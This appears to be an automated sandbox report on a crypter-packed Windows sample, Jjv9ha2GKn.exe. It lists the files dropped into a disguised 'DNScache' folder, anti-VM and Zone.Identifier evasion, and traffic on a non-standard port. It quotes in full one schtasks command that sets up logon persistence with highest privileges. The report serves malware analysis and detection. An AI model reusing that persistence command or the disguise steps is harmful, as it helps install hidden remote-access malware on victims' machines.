Source: Jjv9ha2GKn.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Jjv9ha2GKn.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Jjv9ha2GKn.exe

Static file information: File size 1128960 > 1048576

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

File opened: C:\Users\user\AppData\Local\DNScache\MSVCR100.dll

Jump to behavior

Source: Jjv9ha2GKn.exe	Static PE information: section name: RT_CURSOR
Source: Jjv9ha2GKn.exe	Static PE information: section name: RT_BITMAP
Source: Jjv9ha2GKn.exe	Static PE information: section name: RT_ICON
Source: Jjv9ha2GKn.exe	Static PE information: section name: RT_MENU
Source: Jjv9ha2GKn.exe	Static PE information: section name: RT_DIALOG
Source: Jjv9ha2GKn.exe	Static PE information: section name: RT_STRING
Source: Jjv9ha2GKn.exe	Static PE information: section name: RT_ACCELERATOR
Source: Jjv9ha2GKn.exe	Static PE information: section name: RT_GROUP_ICON

Source: Jjv9ha2GKn.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x10fa00

Source: Jjv9ha2GKn.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: msvcr100.i386.pdb source: client32.exe, client32.exe, 00000007.00000002.3304858661.000000006CDF1000.00000020.00000001.01000000.00000011.sdmp, client32.exe, 00000009.00000002.2890200975.000000006CDF1000.00000020.00000001.01000000.00000011.sdmp, msvcr100.dll.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: client32.exe, 00000007.00000002.3305095577.000000006F6F2000.00000002.00000001.01000000.0000000F.sdmp, client32.exe, 00000009.00000002.2890449063.000000006F6F2000.00000002.00000001.01000000.0000000F.sdmp, PCICHEK.DLL.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr
Source:	Binary string: msauserext.pdbGCTL source: msauserext.dll.4.dr
Source:	Binary string: mscpxl32.pdb source: mscpxl32.dLL.4.dr
Source:	Binary string: mscpxl32.pdbGCTL source: mscpxl32.dLL.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: PCICHEK.DLL.4.dr
Source:	Binary string: mscat32.pdbGCTL source: mscat32.dll.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: client32.exe, 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, HTCTL32.DLL.4.dr
Source:	Binary string: d:\a01\_work\2\s\\binaries\x86ret\bin\i386\\msvcp140_1.i386.pdb source: msvcp140_1.dll.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\AudioCapture\Release\AudioCapture.pdb source: AudioCapture.dll.4.dr
Source:	Binary string: client32_ctr.pdb0\1100\client32\Release\client32_ctr.pdbP source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr
Source:	Binary string: msauserext.pdb source: msauserext.dll.4.dr
Source:	Binary string: client32_ctr.pdb source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\release\tcctl32.pdbP source: TCCTL32.DLL.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: client32.exe, 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, HTCTL32.DLL.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: client32.exe, 00000007.00000002.3305005916.000000006CEB5000.00000002.00000001.01000000.00000010.sdmp, client32.exe, 00000009.00000002.2890355521.000000006CEB5000.00000002.00000001.01000000.00000010.sdmp, pcicapi.dll.4.dr
Source:	Binary string: mscat32.pdb source: mscat32.dll.4.dr
Source:	Binary string: 0\1100\client32\Release\client32_ctr.pdb source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr
Source:	Binary string: d:\a01\_work\2\s\\binaries\x86ret\bin\i386\\msvcp140_codecvt_ids.i386.pdb source: msvcp140_codecvt_ids.dll.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\release\tcctl32.pdb source: TCCTL32.DLL.4.dr

Data Obfuscation

Yara detected DarkTortilla Crypter

Source: Yara match	File source: 0.2.Jjv9ha2GKn.exe.51e0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Jjv9ha2GKn.exe.51e0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2759945326.00000000051E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2751641971.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Jjv9ha2GKn.exe PID: 6512, type: MEMORYSTR

Source: netmsg.dll.4.dr

Static PE information: 0xB44EAFAF [Tue Nov 10 05:14:23 2065 UTC]

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_11029200 GetTickCount,LoadLibraryA,GetProcAddress,SetLastError,_malloc,GetProcAddress,GetLastError,_free,_malloc,GetProcAddress,GetProcAddress,InternetOpenA,SetLastError,SetLastError,SetLastError,_free,GetProcAddress,SetLastError,GetProcAddress,InternetConnectA,GetProcAddress,SetLastError,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetLastError,GetProcAddress,SetLastError,GetLastError,GetDesktopWindow,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,FreeLibrary,

7_2_11029200

Source: msauserext.dll.4.dr	Static PE information: section name: .didat
Source: PCICL32.DLL.4.dr	Static PE information: section name: .hhshare

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05B9EFD2 push esp; ret	0_2_05B9EFD9
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05B9FE52 push eax; retf	0_2_05B9FE59
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05B929D1 push esp; retf	0_2_05B929D2
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05BCC4E0 push edi; iretd	0_2_05BCC4EE
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05BCA223 push esp; iretd	0_2_05BCA232
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05BCB7F0 push ebp; iretd	0_2_05BCB7F6
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05BCB160 push ebx; iretd	0_2_05BCB166
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05BC9E00 push edx; iretd	0_2_05BC9E0A
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05BCBAF0 push edi; iretd	0_2_05BCC4BE
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05BC9A28 push ecx; iretd	0_2_05BC9A42
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07159B34 pushad ; retf	0_2_07159B8D
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07151A0C push esp; ret	0_2_07151A9D
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07157979 push ecx; retf 0046h	0_2_0715799A
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0715BCD7 push eax; iretd	0_2_0715BCE6
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0715F0FF push edi; retf	0_2_0715F102
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07194BFB push edi; ret	0_2_07194DF6
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07194E04 push eax; ret	0_2_07194E35
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07195A58 pushfd ; retf	0_2_07195A59
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_071974AD push ds; retf 0040h	0_2_071974FE
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07AFA630 push 00000059h; ret	0_2_07AFA670
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07B3B06F push ecx; retf EFCDh	0_2_07B3B1DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0041B9DD push esi; ret	4_2_0041B9E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0041C20E push eax; retf	4_2_0041C21D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0041BC40 pushad ; ret	4_2_0041BC45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0041CD72 pushad ; ret	4_2_0041CE21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004206B0 push ss; iretd	4_2_00420745
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00417F81 push ecx; ret	4_2_00417F94
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1116B735 push ecx; ret	7_2_1116B748
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11166629 push ecx; ret	7_2_1116663C
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD76BBF push ecx; ret	7_2_6CD76BD2
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD694C5 push ecx; ret	7_2_6CD694D8

Source: msvcr100.dll.4.dr

Static PE information: section name: .text entropy: 6.909044922675825

Source: Jjv9ha2GKn.exe, n2P6H.cs

High entropy of concatenated method names: 'k9ER', 'c9HL', 'e9Y5', 'Dz7q', 'o3GN', 'c7BN', 'Ff65', 'Jn9c', 'g3LF', 'Ak2b'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\mscpx32r.dLL	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\msauserext.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\netmsg.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\mscat32.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\msvcr100.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\pcicapi.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\client32.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\msvcp140_1.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\AudioCapture.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\neth.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\mscpxl32.dLL	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\PCICL32.DLL	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DNScache\msvcp140_codecvt_ids.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD57030 ctl_open,LoadLibraryA,InitializeCriticalSection,CreateEventA,CreateEventA,CreateEventA,CreateEventA,WSAStartup,_malloc,_memset,_calloc,_malloc,_memset,_malloc,_memset,GetTickCount,CreateThread,SetThreadPriority,GetModuleFileNameA,GetPrivateProfileIntA,GetModuleHandleA,CreateMutexA,timeBeginPeriod,	7_2_6CD57030
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD45490 GetPrivateProfileIntA,	7_2_6CD45490
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD450E0 CreateFileA,wsprintfA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,CreateFileA,GetFileSize,GetPrivateProfileIntA,SetFilePointer,FlushFileBuffers,CloseHandle,wsprintfA,CreateFileA,__itow,WritePrivateProfileStringA,	7_2_6CD450E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD45117 GetPrivateProfileIntA,wsprintfA,CreateFileA,GetFileSize,GetPrivateProfileIntA,SetFilePointer,FlushFileBuffers,CloseHandle,wsprintfA,CreateFileA,__itow,WritePrivateProfileStringA,	7_2_6CD45117

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

7_2_11124DC0

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

File opened: C:\Users\user\Desktop\Jjv9ha2GKn.exe\:Zone.Identifier read attributes | delete

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 3785 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 3785 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 3785

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_111365D0 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	7_2_111365D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11157150 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	7_2_11157150
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11157150 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	7_2_11157150
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11025180 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	7_2_11025180
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11157550 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	7_2_11157550
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110255D0 IsIconic,BringWindowToTop,GetCurrentThreadId,	7_2_110255D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1110F720 IsIconic,GetTickCount,	7_2_1110F720
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1111F990 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	7_2_1111F990
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1111F990 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	7_2_1111F990
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110238A0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	7_2_110238A0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110BFC50 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	7_2_110BFC50
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11023F80 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	7_2_11023F80
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11110340 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	7_2_11110340
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110CA260 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	7_2_110CA260
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110CA260 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	7_2_110CA260
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11157150 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	9_2_11157150
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11157150 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	9_2_11157150
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11025180 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	9_2_11025180
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11157550 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	9_2_11157550
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110255D0 IsIconic,BringWindowToTop,GetCurrentThreadId,	9_2_110255D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1110F720 IsIconic,GetTickCount,	9_2_1110F720
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1111F990 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	9_2_1111F990
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1111F990 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	9_2_1111F990
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110238A0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	9_2_110238A0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110BFC50 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	9_2_110BFC50
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11023F80 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	9_2_11023F80
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11110340 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	9_2_11110340
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110CA260 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	9_2_110CA260
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110CA260 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	9_2_110CA260
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_111365D0 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	9_2_111365D0

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

7_2_11029200

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Jjv9ha2GKn.exe PID: 6512, type: MEMORYSTR

